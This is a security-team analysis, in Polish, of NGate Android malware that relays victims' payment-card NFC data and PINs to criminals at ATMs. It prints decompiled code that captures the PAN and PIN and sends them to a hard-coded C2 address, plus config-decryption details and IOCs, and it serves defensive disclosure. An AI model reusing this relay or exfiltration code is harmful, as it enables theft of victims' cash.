Zespół CERT Polska w ostatnich miesiącach zaobserwował nowe próbki mobilnego złośliwego oprogramowania powiązane z atakiem NFC Relay (NGate) wymierzonym w użytkowników polskich banków.
Podstawowe informacje
Celem ataku jest umożliwienie nieuprawnionych wypłat gotówki z bankomatów z wykorzystaniem kart płatniczych ofiar. Przestępcy nie kradną fizycznie karty - przekazują ruch NFC karty z telefonu ofiary do urządzenia przestępcy stojącego przy bankomacie.
Jak to działa?
Socjotechnika/phishing - Ofiara dostaje wiadomość phishingową (e-mail/SMS) o rzekomym problemie technicznym lub incydencie bezpieczeństwa. Link prowadzi na stronę, która nakłania do instalacji aplikacji na Androida. Analizowana przez nas próbka była dystrybuowana przez files[.]fm/u/yfwsanu886

Telefon od "pracownika" banku - Oszust dzwoni, podając się za pracownika banku, aby „potwierdzić tożsamość” i uwiarygodnić instalację aplikacji. Użytkownik otrzymuje też SMS potwierdzający tożsamość rzekomego pracownika.

W aplikacji ofiara jest proszona o zweryfikowanie swojej karty płatniczej bezpośrednio w interfejsie. Musi przyłożyć fizyczną kartę do telefonu (NFC), a następnie wpisać PIN karty na ekranowej klawiaturze. Poniżej przykładowe zrzuty pokazujące tę technikę w wielu próbkach celujących w różne banki.
    
    
    
Kiedy ofiara zbliża kartę do czytnika, aplikacja przechwytuje dane NFC karty (te same dane, które przepływają przez terminal/bankomat) i wysyła je przez Internet do urządzenia atakującego znajdującego się przy bankomacie ( lub do serwera Command&Control, który następnie wysyła je do urządzenia przy bankomacie). Urządzenie atakującego odtwarza te dane w bankomacie. Dzięki przekazanym danym karty i kodowi PIN atakujący wypłaca gotówkę.
Co znaleźliśmy w analizowanej próbce?
- Aplikacja rejestruje się jako usługa płatnicza HCE (Host Card Emulation) w Androidzie (może zachowywać się jak wirtualna karta).
 - Adres serwera i jego działanie są ukryte w niewielkim zaszyfrowanym pliku dołączonym do aplikacji.
 - Odszyfrowaliśmy ten zasób i wydobyliśmy aktywny serwer c2:
- IP/port: 
91.84.97.13:5653 
 - IP/port: 
 - Interfejs zawiera klawiaturę PIN; PIN jest wysyłany do atakującego razem z danymi NFC.
 
Jak się chronić
- Zawsze pobieraj aplikacje bankowe wyłącznie z oficjalnych sklepów (Google Play Store / App Store).
 - Jeśli dzwoni do Ciebie Twój bank i informuje, że dzieje się coś złego, rozłącz się i oddzwoń na numer banku. Ta metoda w 100% weryfikuje prawdziwość połączenia.
 
Analiza techniczna
Każda aplikacja na Androida zaczyna się od pliku AndroidManifest.xml. Definiuje on komponenty aplikacji, w tym działania, usługi i uprawnienia. W kontekście analizy kluczową informacją jest ustalenie punktu startowego aplikacji:
Manifest:
- punkt startowy
 
<activity
    android:name="rha.dev.p031me.SuperMain"
    android:exported="true"
    android:launchMode="singleTask"
    android:screenOrientation="portrait"
    android:configChanges="screenSize|screenLayout|orientation|keyboardHidden">
    <intent-filter>
        <action android:name="android.intent.action.MAIN" />
        <category android:name="android.intent.category.DEFAULT" />
        <category android:name="android.intent.category.LAUNCHER" />
    </intent-filter>
</activity>
- uprawnienia
 
<uses-permission android:name="android.permission.NFC" android:required="true"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" android:required="true"/>
<uses-permission android:name="android.permission.INTERNET" android:required="true"/>
- usługa HCE
 
<service android:name="rha.dev.me.nfc.hce.ApduService"
         android:permission="android.permission.BIND_NFC_SERVICE"
         android:exported="true">
  <intent-filter>
    <action android:name="android.nfc.cardemulation.action.HOST_APDU_SERVICE"/>
    <category android:name="android.intent.category.DEFAULT"/>
  </intent-filter>
  <meta-data android:name="android.nfc.cardemulation.host_apdu_service"
             android:resource="@xml/hce"/>
</service>
- Przykładowa deklaracja AID (skrócona):
 
<host-apdu-service ...>
  <aid-group android:category="payment" android:description="@string/app_name">
    <aid-filter android:name="F001020304050607" />
  </aid-group>
</host-apdu-service>
Wniosek: Aplikacja może zostać skonfigurowana jako usługa płatnicza HCE i będzie wywoływana przez stos NFC podczas komunikacji z terminalem/czytnikiem.
Start procesu
Po zainstalowaniu pliku APK i uruchomieniu procesu (np. po wybudzeniu go przez program uruchamiający/alias lub usługę) strona Java uruchamia natywną bibliotekę pomocniczą, która ładuje i weryfikuje konfigurację środowiska uruchomieniowego. Punktem wejścia do niej jest klasa rha.dev.me.util.Globals.
    static {
        System.loadLibrary("app"); //libapp.so
    }
    /* renamed from: a */
    public static String m29a() {
        Intent intent = new Intent("android.intent.action.MAIN");
        intent.addCategory("android.intent.category.LAUNCHER");
        List<ResolveInfo> queryIntentActivities = f476b.getPackageManager().queryIntentActivities(intent, 0);
        String packageName = f476b.getPackageName();
        for (ResolveInfo resolveInfo : queryIntentActivities) {
            if (resolveInfo.activityInfo.packageName.equals(packageName)) {
                return resolveInfo.activityInfo.name;
            }
        }
        return "rha.dev.me.SuperMain";
    }
    /* renamed from: b */
    public static void m28b(Context context) {
        f476b = context;
        init(context);
        loadNConfig(context, context.getAssets());
    }
    public static native void init(Context context);
    public static native void loadNConfig(Context context, AssetManager assetManager);
    public static native boolean reader();
    public static native boolean vts();
Podstawowa logika aplikacji jest inicjowana przez System.loadLibrary(„app”);, które ładuje libapp.so do procesu. Ten natywny obiekt odpowiada za kluczowe etapy: najpierw wyprowadza 32-bajtowy klucz z SHA-256 certyfikatu podpisującego APK (DER). Za pomocą tego klucza odszyfrowuje on hex blob pobrany z zasobu assets/____ aplikacji. Kolejny krok polega na analizowaniu par tekstowych klucz-wartość z tych odszyfrowanych danych i kompilowaniu ich do wewnętrznej mapy konfiguracyjnej.
Warto zauważyć, że kod implementuje mechanizm obronny: w przypadku niepowodzenia odszyfrowania lub analizy biblioteka wykonuje wywołanie zwrotne do języka Java w celu wyłączenia programu uruchamiającego - zachowanie to znane jest jako wzorzec safeExit(). Konfiguracja jest uruchamiana przez metodę Java m28b(Context). Metoda ta najpierw wywołuje natywną metodę init(context) w celu skonfigurowania podstawowego stanu współdzielonego, logowania i wewnętrznych zmiennych lokalnych wątku, a następnie wywołuje natywną metodę loadNConfig(context, context.getAssets()) w celu rozpoczęcia procesu odszyfrowywania. W większości kompilacji m28b jest wywoływana bardzo wcześnie - albo z Application.onCreate(), albo z pierwszej Activity.onCreate() - aby zapewnić gotowość niezbędnego gniazda komunikacyjnego w momencie wyświetlenia monitu „zweryfikuj kartę”. 
Ponadto natywne flagi boolowskie reader() i vts() ujawniają bity konfiguracyjne (np. reader:=true, mode:=card), umożliwiając warstwie Java dynamiczne określenie, które metody transportu i role NFC należy aktywować.
Natywny moduł ładujący konfigurację (libapp.so) do C2 w postaci zwykłego tekstu
Istotne są dwa elementy natywne: wyprowadzanie klucza i moduł ładujący konfigurację.
Wyprowadzanie klucza (JNI → SHA-256 certyfikatu podpisu):
Zdekompilowana funkcja get_cert_sha(JNIEnv*, unsigned char* out) definiuje proces wyprowadzania klucza. Rozpoczyna się ona wywołaniem funkcji PackageManager.getPackageInfo(..., GET_SIGNATURES). Następnie odczytuje Signature.toByteArray() i opakowuje wynik za pomocą CertificateFactory(„X.509”).generateCertificate(InputStream). Następnie wywołuje funkcję cert.getEncoded() i oblicza skrót za pomocą MessageDigest(„SHA-256”).digest(encodedCert). Na koniec kopiuje wynikowe 32 bajty do out. 
Wniosek: klucz XOR jest dokładnie taki sam jak SHA-256 certyfikatu podpisu aplikacji (DER).
Dekryptowanie i parsowanie konfiguracji
AAssetManager_open("____", AASSET_MODE_BUFFER)- ładuje ASCII-hex blob zassets/____.hexToBytes()- zamiana na ciphertext binarny.- deszyfrowywanie XOR bajt po bajcie przy użyciu 32-bajtowego klucza (powtarzającego się co 32 bajty):
 
c for (i = 0; i < len; i++) pt[i] = ct[i] ^ key[i & 31]; - Parsuje tekst jawny linia po linii za pomocą 
getline; każda linia musi mieć postaćkey := value; każda para jest wstawiana doconfigMapi rejestrowana:c I/AppCheck: Parsed host := 91.84.97.13 verifyCnf(env); jeśli coś się nie powiedzie → wywołaj JavasafeExit()(co wyłącza program uruchamiający).
Odszyfrowana konfiguracja dla analizowanej próbki::
host:=91.84.97.13
port:=5653
sharedToken:=c2458bfc-9cb4-4998-b814-d3686b0fe088
tls:=false
mode:=card
reader:=true
uniqueID:=395406
ttd:=1761668025
Reprodukcja offline
#apksigner verify --print-certs SGB.apk
#Signer #1 certificate SHA-256 digest: b3a935de8a8be2ce2350fd90936b51650316475b478795ce9cf8ffaf6e765709
import binascii, pathlib
key = bytes.fromhex("b3a935de8a8be2ce2350fd90936b51650316475b478795ce9cf8ffaf6e765709")
ct  = bytes.fromhex(pathlib.Path(r"\path\to\asset\____").read_text().strip())
pt  = bytes(c ^ key[i % 32] for i, c in enumerate(ct))
print(pt.decode("utf-8", errors="replace"))
Otwarcie połączenia: host/port z JNI, protokół ramkowy
Łączność sieciowa jest zawarta w Transport i C0214a (połączenie i wątki). Uwaga: host/port pochodzą z JNI, tj. odszyfrowanej konfiguracji.
// rha.dev.p031me.net.transport.Transport (excerpt)
public abstract class Transport {
    private final String f412a = host();                 // JNI → "91.84.97.13"
    private final int    f413b = Integer.parseInt(port());// JNI → 5653
    public static native String host();
    public static native String port();
    public boolean m67b() {                              // connect-once
        if (f414c != null || f415d) return false;
        f415d = true;
        f414c = mo0d(f412a, f413b);                      // open socket
        mo1c();                                          // TLS hook (unused if tls=false)
        return true;
    }
    protected abstract Socket mo0d(String host, int port);
    protected abstract void   mo1c();
}
C0214a uruchamia wątek wysyłania i odbierania. To właśnie tam krystalizuje się kształt protokołu.
Wychodzące (client→server): len(4) | opcode(4) | body(len)
Przychodzące (server→client): len(4) | body(len) (Kod operacyjny znajduje się wewnątrz ciała jako pole ServerData)
// p038y.C0256c — SendThread: exact wire format client→server
void mo2c() {
    C0253c msg = (C0253c) this.f526b.m123d().take();
    out.writeInt(msg.m6a().length);   // int32 len (BE)
    out.writeInt(msg.m5b());          // int32 opcode (BE)
    out.write(msg.m6a());             // body
    out.flush();
}
// p038y.C0255b — ReceiveThread: server→client is just length + bytes
void mo2c() {
    int len = in.readInt();
    if (len > 104857600) throw new IOException("Invalid protocol length");
    byte[] body = new byte[len];
    in.readFully(body);
    this.f526b.m120g(body);           // → NetMan.mo114b(byte[])
}
Wybór transportu (TCP vs TLS)
Aplikacja ukrywa tworzenie gniazd za Transport.d(host, port). Istnieją dwie implementacje:
// z/a.java  — plain TCP used when tls=false
public final class a extends Transport {
    @Override
    protected Socket d(String host, int port) throws IOException {
        return new Socket(host, port);
    }
}
// z/b.java  — TLS variant (not used in this sample)
public final class b extends Transport {
    @Override
    protected Socket d(String host, int port) throws IOException {
        SSLSocketFactory f = (SSLSocketFactory) SSLSocketFactory.getDefault();
        SSLSocket s = (SSLSocket) f.createSocket(host, port);
        s.startHandshake();                    // pinning/custom TrustManager appears elsewhere
        return s;
    }
}
Ramki są łatwe do podpisania na połączeniu, a ponieważ tls=false, payload jest w postaci zwykłego tekstu.
Dyspozytor: rola NetMan i historia opcode
NetMan koordynuje sesję: serializuje komunikaty wyższego poziomu (ServerData) i reaguje na odpowiedzi serwera. Można go traktować jako „mózg sesji”.
// rha.dev.p031me.net.NetMan (excerpt) — the one true outbox
private void m150H(ServerData.EnumC0219b op, byte[] data) {
    if (this.f402b == null) { /* queue until connected */ return; }
    byte[] payload = new ServerData()
        .m74g(op)                                                // opcode
        .m73h(sharedToken())                                     // JNI token
        .m72i(Globals.reader() ? ServerData.EnumC0218a.TYPE_READER
                               : ServerData.EnumC0218a.TYPE_EMITTER)
        .m75f(data != null ? data : new byte[0])                 // data blob
        .m71j();                                                 // native serialize
    this.f402b.m117j(Integer.parseInt(uniqueID()), payload);     // → SendThread
}
Po stronie wejścia blob z serwera jest parsowany do ServerData (natywnie). NetMan obsługuje synchronizację, walidację PIN, listy, kill-switch (ukryj aplikację), a także keepalive co 7 sekund (OP_PING).
public void mo114b(byte[] body) {
    ServerData m = ServerData.m76e(body);                // native parse
    switch (m.m78c()) {
        case OP_SYN:          m150H(ServerData.EnumC0219b.OP_ACK, null); break;
        case OP_PIN_VALID:    InterfaceC0039c.f64h.mo184i(true);  break;
        case OP_PIN_INVALID:  InterfaceC0039c.f64h.mo184i(false); break;
        case OP_PSH:          InterfaceC0039c.f61e.mo184i(new C0160a(m.m79b())); break; // APDUs
        case OP_SHUTDOWN_EMITTER: m134s(); m138o(); break;        // hide app & disconnect
        // ...
    }
    m155C(); // schedule OP_PING every 7s
}
Rejestracja NFC: tryb czytnika
Chociaż plik APK zawiera odpowiednią usługę HCE (emulacja karty), odszyfrowana konfiguracja ustawia reader=true, co aktywuje ścieżkę czytnika: telefon zachowuje się jak czytnik prawdziwej karty, którą ofiara przyłożyła do telefonu.
Fragment interfejsu użytkownika wyraźnie pokazuje tę ścieżkę: po rozpoznaniu metadanych karty wyświetla numer PAN, datę ważności i schemat (według AID).
// p025m0.FragmentC0191s — shows card details once recognized
private void m245w(C0068c c) {
    m248t(); // switch views
    this.f332d.setRectNumber(c.m460c());                     // PAN
    this.f332d.setRectDate(AbstractC0161b.m316d(c.m461b())); // YYMM → MM/YY
    // pick scheme image by AID
    this.f332d.setRectTypeImage(
        m260h(AbstractC0161b.m317c(((C0067b) c.m462a().get(0)).m467b()))
    );
}
private int m260h(String hexAid) {
    return hexAid.contains("A000000004") ? R.drawable.mc          // Mastercard
         : hexAid.contains("A000000003") ? R.drawable.visa_logo   // Visa
         : hexAid.contains("A000000658") ? R.drawable.logo_mir    // MIR
         : hexAid.contains("A000000333") ? R.drawable.union_pay_logo
         : R.drawable.logo_empty;
}
Pod maską parser EMV wypełnia obiekt C0068c (PAN, data ważności, AID). Gdy wszystko jest gotowe, NetMan umieszcza go w CardData i wysyła komunikat OP_CARD_DISCOVERED:
// rha.dev.p031me.net.NetMan
public void m154D(byte[] bArr) {
    m150H(ServerData.EnumC0219b.OP_CARD_DISCOVERED, bArr);
}
Informacje przesyłane przez sieć są wyraźnie określone w CardData: obejmują numer PAN, identyfikatory AID, datę ważności oraz (później) kod PIN.
// rha.dev.p031me.net.c2s.CardData (excerpt)
public class CardData {
    private List<String> cardAids;
    private String cardNumber, expiration, pin;
    private Boolean pinConfirmed;
    public byte[] m87l() {
        return toBytesNative(m97b(), (String[]) cardAids.toArray(new String[0]),
                             m95d(), m96c(), m94e()); // ← pin included
    }
    public native byte[] toBytesNative(String num, String[] aids,
                                       String pin, String exp, boolean confirmed);
}
Przechwytywanie kodu PIN: z klawiatury do scoketu w jednym kroku
Niestandardowa klawiatura PIN przechwytuje cyfry do specjalnego pola EditText. Po osiągnięciu wymaganej długości (domyślnie 4) publikuje pełny PIN na wewnętrznej szynie zdarzeń.
// rha.dev.p031me.pinlibrary.PinCodeField (excerpt)
public class PinCodeField extends EditText {
    class C0222b implements TextWatcher {
        public void afterTextChanged(final Editable e) {
            if (e.length() == PinCodeField.this.f429e) {     // default 4
                PinCodeField.this.postDelayed(() -> {
                    InterfaceC0039c.f62f.mo184i(e.toString()); // publish PIN
                }, 100L);
            }
        }
    }
}
Warstwa sieciowa nasłuchuje tego zdarzenia i natychmiast eksfiltruje kod PIN jako dedykowany kod opcode:
// rha.dev.p031me.net.NetMan
public void m153E(String str) {
    m150H(ServerData.EnumC0219b.OP_PIN_REQ, str.getBytes(StandardCharsets.UTF_8));
}
Serwer odpowiada komunikatem „OP_PIN_VALID” / „OP_PIN_INVALID” (reakcja interfejsu użytkownika), ale w tym momencie kod PIN opuścił już urządzenie. Dodatkowo, podczas serializacji blobu karty (CardData.m87l()), pole PIN może zostać tam również uwzględnione.
Usługa HCE: dowód zdolności „emitera”
Mimo że ta próbka działa jako czytnik, zawiera w pełni zadeklarowaną usługę HostApduService z identyfikatorem AID podobnym do płatności i bez wymogu odblokowania.
<!-- res/xml/hce.xml -->
<host-apdu-service
    android:description="@string/app_name"
    android:requireDeviceUnlock="false"
    android:apduServiceBanner="@mipmap/ic_launcher">
  <aid-group android:category="other">
    <aid-filter android:name="F001020304050607"/>
  </aid-group>
  <aid-group android:category="payment">
    <aid-filter android:name="F001020304050607"/>
  </aid-group>
</host-apdu-service>
Usługa rejestruje i przekazuje przychodzące komunikaty APDU (jako punkt końcowy przekaźnika), zwracając pustą odpowiedź:
// rha.dev.p031me.nfc.hce.ApduService (excerpt)
public class ApduService extends HostApduService {
    @Override public byte[] processCommandApdu(byte[] apdu, Bundle extras) {
        Log.d("ApduService", "APDU-IN: " + AbstractC0161b.m319a(apdu));
        C0160a wrapped = new C0160a(false, false, apdu);      // wrap APDU
        C0009i bus = C0009i.m547n();
        if (bus != null) bus.m545p(false, wrapped, this);     // forward upstream
        return new byte[0];                                    // pure relay
    }
}
Dlaczego to ma znaczenie? - NGate może pełnić dwie role:: 1. Czytnik wersja, w której ofiara zczytuje swoją kartę, 2. Emiter telefon przy bankomacie (HCE do terminala), połączony tym samym modelem kodu operacyjnego – klasyczna topologia NFC relay.
Summary
NGate to złośliwe oprogramowanie dla systemu Android, które wykorzystuje przekaźnik NFC do wypłacania gotówki z bankomatów przy użyciu kart ofiar. Jest ono dostarczane za pomocą phishingu oraz telefonu od „wsparcia bankowego”, który naciska na użytkownika, aby zainstalował aplikację, przyłożył kartę do telefonu i wprowadził PIN. Aplikacja działa w trybie czytnika, aby przechwycić EMV APDU i PIN, a następnie przesyła je za pomocą prostego protokołu TCP do zakodowanego na stałe C2; ta sama rodzina dostarcza również usługę HCE kategorii płatności, umożliwiającą pełnienie roli nadajnika w bankomacie. Konfiguracja jest przechowywana jako zasób zaszyfrowany algorytmem XOR z kluczem pochodzącym z certyfikatu podpisującego APK (SHA-256); w tej próbce prowadzi to do jawnego C2. Wniosek: po przyłożeniu karty i wpisaniu PINu napastnik może przekazać sesję i wypłacić gotówkę.
Kluczowe wnioski
- Inżynieria społeczna → aplikacja pobrana z innego źródła → dotknięcie karty + PIN → przekazanie do bankomatu.
 - Obsługiwane role: czytnik (telefon ofiary) i emiter (telefon atakującego/strona bankomatu).
 - Konfiguracja odszyfrowana z zasobów /____ przy użyciu SHA-256(cert) jako klucza XOR.
 - Ramki tekstu jawnego w sieci (len|opcode|body), okresowe sygnały keep-alive.
 - Co opuszcza urządzenie: PAN, data ważności, AID, APDU i PIN.
 
IOC
2cee3f603679ed7e5f881588b2e78ddc
701e6905e1adf78e6c59ceedd93077f3
2cb20971a972055187a5d4ddb4668cc2
b0a5051df9db33b8a1ffa71742d4cb09
bcafd5c19ffa0e963143d068c8efda92
91.84.97.13:5653
files[.]fm/u/yfwsanu886
